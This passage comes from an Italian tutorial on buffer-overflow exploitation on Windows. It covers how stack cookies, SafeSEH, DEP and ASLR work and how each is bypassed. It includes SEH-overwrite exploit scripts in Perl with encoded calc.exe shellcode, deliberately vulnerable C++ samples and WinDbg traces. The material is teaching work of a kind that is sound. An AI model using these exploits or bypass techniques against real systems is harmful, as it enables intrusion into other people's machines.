Shellcode (Execute calc.exe) my $shellcode= "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49". "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36". "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34". "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41". "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44". "\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37". "\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48". "\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48". "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c". "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e". "\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48". "\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54". "\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48". "\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43". "\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57". "\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a". Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 167 di 193
System exploitation using buffer overflow
"\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b". "\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53". "\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37". "\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49". "\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46". "\x4e\x36\x43\x46\x42\x50\x5a"; # A second junk my $junk2= "A" x 1000; open(myfile,">$exploit_file"); print myfile $junk.$nxSEH.$ppr.$shellcode.$junk2; close(myfile); --------- CreateSoriTongExploit.pl END --------------------0x18] (Arch: NT) – Sistemi di sicurezza per Microsoft Windows Up Anche per il sistema operativo Microsoft, sono stati introdotti vari sistemi per proteggere la memoria. Fino ad ora abbiamo visto che sovrascrivendo indirizzi di ritorno o SEH siamo in grado di eseguire codice su piattaforme windows Xp. Questo è possibile in quanto su questi sistemi l’indirizzo delle dll e degli eseguibili in memoria rimane lo stesso anche dopo il riavvio della macchina. Abbiamo però visto che su Linux queste possibilità sono state limitate da nuovi e sofisticati sistemi di protezione che rendono lo sviluppo di exploit davvero molto più difficile, molte volte impossibile. Anche per Microsoft Windows queste limitazioni sono state introdotte, ma a mio parere non hanno apportato lo stesso livello di limitazione che vale per Linux. Riassumendole, le seguenti sono le protezioni oggi presenti su i sistemi Microsoft più recenti: -
Stack cookies (canary di controllo nello stack), compilando con ‘/GS’. SafeSeh (/SafeSEH compiler switch) Data Execution Prevention (DEP) (basato su software e hardware) Address Space Layout Randomization (ASLR)
Grosso modo rappresentano sistemi equivalenti a quelli visti per Linux. - Stack cookies: Questo sistema inserisce una DWORD dopo il frame pointer sullo stack. Significa che lo stack appare nel modo seguente: [buffer][cookie][saved EBP][saved EIP] Andando a sovrascrivere da buffer si va a corrompere il cookie, questo viene controllato quando la funzione ritorna e, se corrotto, il programma viene arrestato. Questo permette di evitare l’esecuzione di shellcode. Ma non ferma la possibilità di creare comunque DoS. Inoltre, come Propolice, questo sistema riordina le variabili locali inizializzate sullo stack in modo da sistemare il buffer a valle di tutte le altre variabili locali, evitando che queste ultime possano venire corrotte. Abbiamo già effettuato una accurata analisi del sistema Propolice, di fatto questo non cambia. Se disassembliamo la funzione main del nostro programma sehtest compilato con Visual C++ 2008, otteniamo il listato seguente: 0:000> uf main sehtest!main [c:\env\seh\sehtest\sehtest.cpp @ 9]: 9 00401000 55 push ebp 9 00401001 8bec mov ebp,esp 9 00401003 6afe push 0FFFFFFFEh Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 168 di 193
System exploitation using buffer overflow
9 9 9 9 9 9 9 9
00401005 0040100a 0040100f 00401015 00401016 0040101c 00401021 00401024
6818224000 68e5174000 64a100000000 50 81c4e0fdffff a100304000 3145f8 33c5
push push mov push add mov xor xor
offset sehtest!__rtc_tzz+0x68 (00402218) offset sehtest!_except_handler4 (004017e5) eax,dword ptr fs:[00000000h] eax esp,0FFFFFDE0h eax,dword ptr [sehtest!__security_cookie (00403000)] dword ptr [ebp-8],eax eax,ebp
18 18 18 18 18 18 18 18 18
004010db 004010dc 004010dd 004010de 004010e1 004010e3 004010e8 004010ea 004010eb
5f 5e 5b 8b4de4 33cd e81d000000 8be5 5d c3
pop pop pop mov xor call mov pop ret
edi esi ebx ecx,dword ptr [ebp-1Ch] ecx,ebp sehtest!__security_check_cookie (00401105) esp,ebp ebp
...
Se guardate il listato, noterete che dopo il prologo e prima dell’epilogo viene inserita dal compilatore una procedura che, prima, sistema il cookie a ebp-8, poi ne controlla il valore per verificarne l’integrità. Queste sono le istruzioni chiave: 9 0040101c a100304000 mov eax,dword ptr [sehtest!__security_cookie (00403000)] 9 00401021 3145f8 xor dword ptr [ebp-8],eax ... 18 004010e3 e81d000000 call sehtest!__security_check_cookie (00401105) E’ chiaro che il metodo più ovvio per bypassare la protezione è sfruttare una vulnerabilità riguardante l’exception handling. Come abbiamo visto poco fa, questo non sfrutta il ritorno della funzione ma l’SEH. Ma ci sono altre occasioni in cui è possibile farlo, innanzi tutto non tutti i buffer sono protetti. Questo perché non sempre si hanno le condizioni necessarie perché il meccanismo possa essere applicato. Altra possibilità è trovare cookie statici, ovvero sempre uguali, in questo caso allora basterebbe semplicemente sovrascrivere con il valore corretto, anche se questo è un caso raro. Un sistema diverso è invece quello di sfruttare la ‘virtual function call’. Partiamo dal codice che segue, preso da ‘Alex Soritov and Mark Dowd’s paper from Blackhat 2008’. Si tratta di codice C++ creato con Visual C++, difatti è proprio una caratteristica del C++ quella che andremo a sfruttare. --------- gsvitable.cpp -----------------------#include "stdafx.h" #include "windows.h" class Foo { public: void __declspec(noinline) gs3(char* src) { char buf[8]; strcpy(buf, src); bar(); // virtual function call } virtual void __declspec(noinline) bar() { Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 169 di 193
System exploitation using buffer overflow
} }; int main() { Foo foo; foo.gs3( "AAAA" "BBBB" "CCCC" "DDDD" "EEEE" "FFFF"); return 0; } --------- gsvitable.cpp END -------------------Compiliamo assicurandoci che il compilatore sia stato avviato con il parametro ‘/GS’. I seguenti devono essere i parametri di compilazione per questo esempio: ‘/Od /GL /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_UNICODE" /D "UNICODE" /FD /EHsc /MD /Gy /Fo"Release\\" /Fd"Release\vc90.pdb" /W3 /nologo /c /Zi /TP /errorReport:prompt’ Analizziamo il codice sorgente e quello che viene generato. Prima di tutto, nel sorgente abbiamo definito i due membri di una classe molto semplice, con il parametro noinline. Questo perché, data la semplicità, il compilatore avrebbe ottimizzato le due funzioni rendendole inline, quindi non effettuando una vera e propria chiamata. Ora, con l’aiuto di WinDbg, vediamo dove si trova la vulnerabilità. Se disassembliamo il membro gs3(), troviamo: 0:000> uf Foo::gs3 gsvitable!Foo::gs3 [c:\env\gsvitable\gsvitable.cpp @ 9]: 9 00401000 83ec0c sub esp,0Ch 9 00401003 a118304000 mov eax,dword ptr [gsvitable!__security_cookie (00403018)] 9 00401008 33c4 xor eax,esp 9 0040100a 89442408 mov dword ptr [esp+8],eax 11 0040100e 33c0 xor eax,eax gsvitable!Foo::gs3+0x10 [c:\env\gsvitable\gsvitable.cpp @ 11]: 11 00401010 8a90fc204000 mov dl,byte ptr gsvitable!`string' (004020fc)[eax] 11 00401016 40 inc eax 11 00401017 84d2 test dl,dl 11 00401019 75f5 jne gsvitable!Foo::gs3+0x10 (00401010) gsvitable!Foo::gs3+0x1b [c:\env\gsvitable\gsvitable.cpp @ 12]: 12 0040101b 8b01 mov eax,dword ptr [ecx] 12 0040101d 8b10 mov edx,dword ptr [eax] 12 0040101f ffd2 call edx 13 00401021 8b4c2408 mov ecx,dword ptr [esp+8] 13 00401025 33cc xor ecx,esp 13 00401027 e828000000 call gsvitable!__security_check_cookie (00401054) 13 0040102c 83c40c add esp,0Ch 13 0040102f c3 ret Una caratteristica del C++, è la capacità di lavorare sui componenti della propria classe da parte dei membri della classe stessa senza passaggio di questi come argomenti. In realtà si tratta solo di lavoro fatto all’oscuro del programmatore. Forse non tutti quelli che usano il Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 170 di 193
System exploitation using buffer overflow
C++, conoscono questo dettaglio. In realtà infatti, ad ogni membro viene passato un puntatore all’intera classe in modo nascosto. Il famoso puntatore this, viene passato sempre ad ogni membro come primo argomento in modo non esplicito, ovvero non visibile. Ma utilizzabile poi dal metodo. Nel codice di esempio, viene dichiarata una classe ‘foo’. Nella funzione principale l’oggetto viene inizializzato, poi viene chiamata la funzione gs3() della classe. Questa esegue una strcpy() che costituisce il problema di sicurezza. Oltre che passare alla funzione gs3 la stringa da copiare nel buffer, viene passato come parametro anche il puntatore alla classe di cui abbiamo appena parlato. Ora è chiaro che passando una stringa di lunghezza superiore a 8 byte, si sovrascrive gli elementi che si trovano più in basso rispetto al buffer nello stack, e dato che this è stato passato come argomento, la copia sovrascrive anche quest’ultimo. Successivamente nel codice viene chiamata la funzione bar(). Quando questa viene eseguita, l’esecuzione viene ridiretta nel nostro buffer. Questo approccio ci permette di bypassare la protezione inserita dal compilatore Microsoft. Dato che anche sovrascrivendo lo stack e il cookie posizionato prima dello stack pointer, noi richiamiamo prima la nostra shellcode, in quanto il cookie viene controllato solo al ritorno della funzione completa. Disassemblando il codice della classe, vediamo che la chiamata al membro bar() viene fatta tramite un registro, per calcolare l’offset è sufficiente utilizzare il solito metodo. Poi da qui si procede con la tecnica standard. - SafeSeh: Da partire da windows server 2003, è stata migliorata anche la protezione per i SEH. Come abbiamo visto prima, attraverso questi è possibile eseguire codice. E’ infatti possibile creare eccezioni e sovrascrivere gli indirizzi dei gestori con indirizzi arbitrari. Non lo abbiamo specificato, ma è ovvio che questi sistemi possono essere utilizzati anche per bypassare la protezione appena vista, quella relativa agli stack cookie. Con /SafeSEH si ordina al compilatore di inserire controlli ulteriori per la gestione delle eccezioni. In pratica, gli indirizzi dei gestori vengono controllati prima e dopo l’esecuzione della funzione. In particolare il sistema effettua i controlli seguenti sull’indirizzo dell’handler: - Verifica che tale indirizzo non punti ad una locazione dello stack (utilizza i riferimenti nella struttura TEB.) - Verifica che gli handler sono implementati nei moduli caricati in memoria. - Verifica la catena dei gestori, o meglio verifica che percorrendola si arrivi all’indirizzo 0xffffffff. (“walking the chain”) Nonostante questo, ci sono dei casi in cui è ancora possibile sfruttare il sistema. Potremmo inserire la nostra shellcode nell’heap. E utilizzare quindi indirizzi dell’heap per sovrascrivere l’handler. L’handler sarebbe infatti ritenuto valido e poi chiamato. Un esempio su cui lavorare: --------- safeseh.cpp
-----------------------
#include "stdafx.h" #include "stdio.h" #include "windows.h" void GetInput(char* str, char* out) { char buffer[500]; try { Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 171 di 193
System exploitation using buffer overflow
strcpy(buffer,str); strcpy(out,buffer); printf("Input received : %s\n",buffer); } catch (char * strErr) { printf("No valid input received ! \n"); printf("Exception : %s\n",strErr); } } int main(int argc, char* argv[]) { char buf2[128]; GetInput(argv[1],buf2); return 0; } --------- safeseh.cpp END -------------------Una delle alternative principali è utilizzare un indirizzo esterno ai moduli caricati. L’importante è che sia una locazione statica. Un utile strumento adatto a questo compito è vadump.exe scaricabile gratuitamente dal sito Microsoft. Oppure l’intera memoria è visibile anche da immunity debugger, Memory map Address Size (Decimal) Owner Mapped as 00010000 00001000 (4096.) 00010000 00020000 00001000 (4096.) 00020000 00125000 00001000 (4096.) 00030000 00126000 0000A000 (40960.) 00030000 00130000 00003000 (12288.) 00130000 00140000 00001000 (4096.) 00140000 00150000 00003000 (12288.) 00150000 00250000 00006000 (24576.) 00250000 00260000 00003000 (12288.) 00260000 00270000 00016000 (90112.) 00270000 \Device\HarddiskVolume1\WINDOWS\system32\unicode.nls 00290000 00041000 (266240.) 00290000 \Device\HarddiskVolume1\WINDOWS\system32\locale.nls 002E0000 00041000 (266240.) 002E0000 \Device\HarddiskVolume1\WINDOWS\system32\sortkey.nls 00330000 00006000 (24576.) 00330000 \Device\HarddiskVolume1\WINDOWS\system32\sorttbls.nls 00340000 00004000 (16384.) 00340000 00350000 00003000 (12288.) 00350000 \Device\HarddiskVolume1\WINDOWS\system32\ctype.nls 00400000 00001000 (4096.) gsvitabl 00400000 00401000 00001000 (4096.) gsvitabl 00400000 00402000 00001000 (4096.) gsvitabl 00400000 00403000 00001000 (4096.) gsvitabl 00400000 00404000 00001000 (4096.) gsvitabl 00400000 00405000 00001000 (4096.) gsvitabl 00400000 78520000 00001000 (4096.) MSVCR90 78520000 78521000 00096000 (614400.) MSVCR90 78520000 785B7000 00007000 (28672.) MSVCR90 78520000 785BE000 00001000 (4096.) MSVCR90 78520000 785BF000 00004000 (16384.) MSVCR90 78520000 7C800000 00001000 (4096.) kernel32 7C800000 7C801000 00084000 (540672.) kernel32 7C800000 7C885000 00005000 (20480.) kernel32 7C800000 7C88A000 00071000 (462848.) kernel32 7C800000 7C8FB000 00006000 (24576.) kernel32 7C800000
Copyright © Matteo Tosato 2010-2011
Section
Contains
Type
Access
Initial
(itself) (itself) (itself) (itself) (itself) (itself)
Priv Priv Priv Priv Map Map Priv Priv Map Map
RW RW ??? Guar RW Guar R R RW RW RW R
RW RW RW RW R R RW RW RW R
(itself)
Map
R
R
(itself)
Map
R
R
(itself)
Map
R
R
(itself) (itself)
Priv Map
RW R
RW R
Imag Imag Imag Imag Imag Imag Imag Imag Imag Imag Imag Imag Imag Imag Imag Imag
R R E R RW Copy R R R R E RW R R R R E RW R R
RWE RWE RWE RWE RWE RWE RWE RWE RWE RWE RWE RWE RWE RWE RWE RWE
(itself) (itself) stack of mai
(itself) .text .rdata .data .rsrc .reloc (itself) .text .data .rsrc .reloc (itself) .text .data .rsrc .reloc
tosatz@tiscali.it rev.2.2
PE header code imports data resources relocations PE header code,imports data resources relocations PE header code,imports data resources relocations
Pag. 172 di 193
System exploitation using buffer overflow 7C910000 7C911000 7C98E000 7C993000 7C9C5000 7F6F0000 7FFB0000 7FFD9000 7FFDF000 7FFE0000
00001000 0007D000 00005000 00032000 00003000 00007000 00024000 00001000 00001000 00001000
(4096.) (512000.) (20480.) (204800.) (12288.) (28672.) (147456.) (4096.) (4096.) (4096.)
ntdll ntdll ntdll ntdll ntdll
7C910000 7C910000 7C910000 7C910000 7C910000 7F6F0000 7FFB0000 7FFD9000 7FFDF000 7FFE0000
(itself) .text .data .rsrc .reloc (itself) (itself) (itself) (itself) (itself)
PE header code,exports data resources relocations
data block o
Imag Imag Imag Imag Imag Map Map Priv Priv Priv
R R E RW R R R E R RW RW R
RWE RWE RWE RWE RWE R E R RW RW R
Con Windbg possiamo cercare l’istruzione che ci interessa e utilizzarla per saltare al nostro shellcode. Le istruzioni utili a questo scopo possono essere le seguenti oltre la sequenza ‘pop-pop-ret’: call dword ptr[esp+nn] / jmp dword ptr[esp+nn] / call dword ptr[ebp+nn] ptr[ebp+nn] / call dword ptr[ebp-nn] / jmp dword ptr[ebp-nn]
/ jmp dword
La ricerca effettuata sul codice di esempio produce su windows XP SP3, i seguenti risultati: 0:000> s 0100000 l 77fffff ff 55 00277643 ff 55 ff 61 ff 54 ff 57-ff dc ff 58 ff cc ff f3 00280b0b ff 55 30 00 00 00 00 9e-ff 57 30 00 00 00 00 9e 004011b9 ff 55 8b ec f6 45 08 02-57 8b f9 74 25 56 68 9a 004014b1 ff 55 8b ec 81 ec 28 03-00 00 a3 68 31 40 00 89 004015da ff 55 14 eb ed 8b 45 ec-89 45 e4 8b 45 e4 8b 00 00401645 ff 55 14 eb f0 c7 45 e4-01 00 00 00 c7 45 fc fe 0040167e ff 55 8b ec 8b 45 08 8b-00 81 38 63 73 6d e0 75 0040177a ff 55 8b ec ff 75 08 e8-4e ff ff ff f7 d8 1b c0 004017f1 ff 55 8b ec 8b 4d 08 b8-4d 5a 00 00 66 39 01 74 00401831 ff 55 8b ec 8b 45 08 8b-48 3c 03 c8 0f b7 41 14 00401881 ff 55 8b ec 6a fe 68 a8-22 40 00 68 a5 19 40 00 004019a6 ff 55 8b ec ff 75 14 ff-75 10 ff 75 0c ff 75 08 004019f9 ff 55 8b ec 83 ec 10 a1-18 30 40 00 83 65 f8 00
.U.a.T.W...X.... .U0......W0..... .U...E..W..t%Vh. .U....(....h1@.. .U....E..E..E... .U....E......E.. .U...E....8csm.u .U...u..N....... .U...M..MZ..f9.t .U...E..H<....A. .U..j.h."@.h..@. .U...u..u..u..u. .U.......0@..e..
L’indirizzo utile a noi è il 0x00280b0b 0:000> u 00280b0b 00280b0e 00280b10
0x00280b0b ff5530 0000 0000
call add add
dword ptr [ebp+30h] byte ptr [eax],al byte ptr [eax],al
Allora se noi utilizziamo tale locazione, il controllo safeseh non dovrebbe bloccarci all’esecuzione. L’importante è che la locazione sia statica. Purtroppo, così facendo si utilizza una locazione che cambia al variare della versione del sistema operativo, ad esempio su Xp sp2, l’indirizzo sarà differente. Utilizzando il generatore di pattern di metasploit troviamo l’offset (trovato 524), poi creiamo un file di test come il seguente: --------- safeseh.pl -----------------------my $buffer="A" x 516; $buffer=$buffer."BBBB"; $buffer=$buffer."DDDD"; system("windbg C:\\env\\gsvitable\\Release\\safeseh.exe \"$buffer\"\r\n"); --------- safeseh.pl END -------------------Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 173 di 193
System exploitation using buffer overflow
Al verificarsi dell’eccezione il sistema dovrebbe avvertirvi che l’indirizzo dell’handler non è valido e questo non dovrebbe venir chiamato. Ora in seriamo l’indirizzo che abbiamo precedentemente ricercato nei moduli caricati: --------- safeseh.pl -----------------------my $buffer="A" x 516; $buffer=$buffer."\xcc\xcc\xcc\xcc"; $buffer=$buffer.pack('V',0x00280b0b); system("windbg C:\\env\\gsvitable\\Release\\safeseh.exe \"$buffer\"\r\n"); --------- safeseh.pl END -------------------Avendo inserito alcuni brakpoint possiamo analizzare con windbg: 0:000> g (fc4.b60): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0012fd41 ebx=00000000 ecx=0012fd41 edx=00130000 esi=00000001 edi=004033a0 eip=004010d8 esp=0012fca0 ebp=0012fee4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 safeseh!GetInput+0xd8: 004010d8 8802 mov byte ptr [edx],al ds:0023:00130000=41 0:000> !exchain 0012fed8: 00280b0b Invalid exception stack at cccccccc 0:000> g (fc4.b60): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=00000000 ecx=00280b0b edx=7c9132bc esi=00000000 edi=00000000 eip=0012fed8 esp=0012f8cc ebp=0012f8f0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 0012fed8 cc int 3 0:000> d eip 0012fed8 cc cc cc cc 0b 0b 28 00-00 00 00 00 7c ff 12 00 ......(.....|... 0012fee8 96 11 40 00 b1 29 34 00-f4 fe 12 00 41 41 41 41 ..@..)4.....AAAA 0012fef8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0012ff08 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0012ff18 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0012ff28 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0012ff38 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0012ff48 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Come si vede dall’output di windbg noi riusciamo a controllare si next SEH che SEH, e l’indirizzo utilizzato al posto dell’handler supera i controlli di sicurezza di safeseh. L’istruzione che viene eseguita è ‘call dword ptr [ebp+30h]’. Osservando il valore di EBP viene in mente che la shellcode può essere inserita più indietro (verso esp). Anche perché l’indirizzo dell’istruzione call contiene un byte nullo e nulla può essere scritto al seguito. Il codice di exploit può essere il seguente: --------- safeseh.pl ----------------------my $nops = "\x90" x 25; #25 needed to align shellcode # windows/exec - 144 bytes Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 174 di 193
System exploitation using buffer overflow
# http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, CMD=calc my $shellcode="\xd9\xcb\x31\xc9\xbf\x46\xb7\x8b\x7c\xd9\x74\x24\xf4\xb1" . "\x1e\x5b\x31\x7b\x18\x03\x7b\x18\x83\xc3\x42\x55\x7e\x80" . "\xa2\xdd\x81\x79\x32\x55\xc4\x45\xb9\x15\xc2\xcd\xbc\x0a" . "\x47\x62\xa6\x5f\x07\x5d\xd7\xb4\xf1\x16\xe3\xc1\x03\xc7" . "\x3a\x16\x9a\xbb\xb8\x56\xe9\xc4\x01\x9c\x1f\xca\x43\xca" . "\xd4\xf7\x17\x29\x11\x7d\x72\xba\x46\x59\x7d\x56\x1e\x2a" . "\x71\xe3\x54\x73\x95\xf2\x81\x07\xb9\x7f\x54\xf3\x48\x23" . "\x73\x07\x89\x83\x4a\xf1\x6d\x6a\xc9\x76\x2b\xa2\x9a\xc9" . "\xbf\x49\xec\xd5\x12\xc6\x65\xee\xe5\x21\xf6\x2e\x9f\x81" . "\x91\x5e\xd5\x26\x3d\xf7\x71\xd8\x4b\x09\xd6\xda\xab\x75" . "\xb9\x48\x57\x7a"; $junk=$nops.$shellcode; $junk=$junk."\x90" x ($size-length($nops.$shellcode)-5); #5 bytes = length of jmpcode $junk=$junk."\xe9\x70\xfe\xff\xff"; #jump back 400 bytes $junk=$junk."\xeb\xf9\xff\xff"; #jump back 7 bytes (nseh) $junk=$junk.pack('V',0x00280b0b); #seh print "Payload length : " . length($junk)."\n"; system("C:\\env\\gsvitable\\Release\\safeseh.exe \"$junk\"\r\n"); --------- safeseh.pl END -------------------- Data Execution Prevention: (Hardware DEP) Si tratta di una protezione implementata via hardware dal processore. Similmente a Linux, fa in modo di marcare come non eseguibili tutte le porzioni di memoria che non hanno necessità di essere interpretate come istruzioni, quindi eseguite. Quindi dove il processore supporta tale funzionalità, i byte nello stack non possono più essere eseguiti. Dipende dalla versione del sistema DEP, ma nelle comuni piattaforme Windows, il sistema DEP protegge tutti i processi che sono compatibili, quelli che non lo sono vengono inseriti in una exception list. Utilizzando “procexp.exe” fornito da sysinternals, possiamo verificare quali processi, nel nostro sistema, utilizzano DEP. Selezioniamo la colonna che visualizza questa informazione:
E’ possibile vedere il livello DEP impostato su ogni processo: (win 7)
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 175 di 193
System exploitation using buffer overflow
Bypassare questa protezione sembra difficile. In realtà esistono vari metodi. Uno di questi è denominato ret2libc. Si tratta però di una tecnica molto limitativa, non fa uso di shellcode, ma utilizza direttamente funzioni delle librerie, di conseguenza il payload è costituito solamente da indirizzi di ritorno dalle suddette funzioni e dagli argomenti sistematicamente posizionati nel buffer. Invece di utilizzare solamente questo approccio, un’altra tecnica che si basa sulla precedente, mira a chiamare l’API VirtualProtect(). L’exploit consiste in una prima parte realizzata con la tecnica ret2libc che chiama VirtualProtect() per abilitare l’esecuzione della locazione di memoria, poi si salta a tale locazione contenente ovviamente la shellocode. La chiamata a funzione è così composta: BOOL WINAPI VirtualProtect( __in LPVOID lpAddress, __in SIZE_T dwSize, __in DWORD flNewProtect, __out PDWORD lpflOldProtect ); lpAddress è un puntatore ad un indirizzo che rappresenta il punto di partenza della regione di m emoria a cui cambiare i permessi di accesso. dwSize rappresenta la dimensione della regione, quindi quanti byte dopo lpAddress sono coinvolti . (in realtà vengono considerate le pagine di memoria che costruiscono tale regione) flNewProtect è l’opzione che specifica la nuova politica di accesso. Dato che noi vogliamo renderla eseguibile, il parametro PAGE_EXECUTE (0x10). lpflOldProtect rappresenta lo stato di accesso precedente a quello impostato. Se la chiamata termina con successo, il valore ritornato è diverso da zero. Sullo stack come indirizzo di ritorno della funzione dobbiamo impostare una istruzione jmp, che permetterà di saltare, in qualche modo, alla regione di memoria abilitata all’esecuzione. Dato che DEP può essere impostato per lavorare in modi differenti, (optin, optout, etc), il sistema (ntdll) è in grado di disabilitare DEP per ogni processo a runtime. Il settaggio di DEP è contenuto nella struttura KPROCESS. E’ possibile verificare, modificare tale impostazione utilizzando l’API NtSetinformationProcess(). La sintassi di questa API è la seguente: NtSetInformationProcess( Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 176 di 193
System exploitation using buffer overflow
IN IN IN IN
HANDLE ProcessHandle, PROCESS_INFORMATION_CLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength
); Questa costituisce una alternativa a VirtualProtect(). Anche in questo caso si può tentare di chiamare questa funzione utilizzando la tecnica ret2libc. I parametri di questa funzione sono: ProcessHandle rappresenta l’handle del processo (HANDLE)-1 ProcessInformationClass rappresenta il tipo di informazioni che vengono richieste. (0x22) ProcessInformation è un puntatore all’opzione da abilitare per il processo, anche in questo caso il valore puntato è 0x2. ProcessInformationLength è la dimensione. Quindi 4 byte. Anche in questo caso, l’indirizzo di ritorno deve provvedere ad eseguire un jmp verso la shellcode caricata in memoria. - Address Space Layout Randomization: Tale protezione è stata inserita a partire dalle ultime versioni di Windows, (Windows server 2008 e Windows 7 ma sono inseriti anche nei sistemi precedenti, tramite aggiornamenti service pack). Come sapete questa prevede la randomizzazione degli indirizzi di tutti i moduli eseguibili, dello heap e dello stack dei processi. Ad ogni avvio del computer, gli indirizzi cambiano valore rendendo inutile qualsiasi exploit che tiene conto di questi indirizzi. Nel registro di sistema la chiave da modificare è HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\ Il valore DWORD “MoveImages”, 0 per off, -1 per on. I programmi compilati con compilatore Microsoft con il flag /DYNAMICBASE impostato utilizzano l’ASLR. Per rendersi conto è sufficiente osservare la mappatura degli indirizzi dei moduli caricati in memoria del processo ad ogni riavvio. Con immunity debugger è possibile anche utilizzare il comando “!ASLRdynamicbase” per ricavare i moduli che hanno ASLR abilitato. Su windows XP sp3 abbiamo: ASLR /dynamicbase Table Base Name 00400000 safeseh.exe 7c910000 ntdll.dll 7c800000 kernel32.dll 78520000 MSVCR90.dll
DLLCharacteristics 0x8140 0x0000 0x0000 0x0140
Enabled? ASLR Aware (/dynamicbase) ASLR Aware (/dynamicbase)
In questo caso l’ASLR è attivo per 2 moduli sui 4. Per mezzo di questi due moduli possiamo bypassare il problema cercando in questi gli indirizzi che ci occorrono. Su windows 7 la situazione è diversa: ASLR /dynamicbase Table Base Name 73e60000 gdiplus.dll 76420000 kernel32.dll 76bf0000 msvcrt.dll 75220000 CRYPTBASE.dll Copyright © Matteo Tosato 2010-2011
DLLCharacteristics 0x0140 0x0140 0x0140 0x0540 tosatz@tiscali.it rev.2.2
Enabled? ASLR Aware ASLR Aware ASLR Aware ASLR Aware
(/dynamicbase) (/dynamicbase) (/dynamicbase) (/dynamicbase)
Pag. 177 di 193
System exploitation using buffer overflow
73b40000 77100000 77260000 77250000 00e50000 76d90000 76750000 762c0000 766e0000 761f0000 739f0000 ...
dwmapi.dll ntdll.dll sechost.dll LPK.dll calc.exe USP10.dll IMM32.DLL ole32.dll SHLWAPI.dll USER32.dll WindowsCodecs.dll
0x0140 0x0140 0x0140 0x0540 0x8140 0x0140 0x0140 0x0140 0x0140 0x0140 0x0140
ASLR ASLR ASLR ASLR ASLR ASLR ASLR ASLR ASLR ASLR ASLR
Aware Aware Aware Aware Aware Aware Aware Aware Aware Aware Aware
(/dynamicbase) (/dynamicbase) (/dynamicbase) (/dynamicbase) (/dynamicbase) (/dynamicbase) (/dynamicbase) (/dynamicbase) (/dynamicbase) (/dynamicbase) (/dynamicbase)
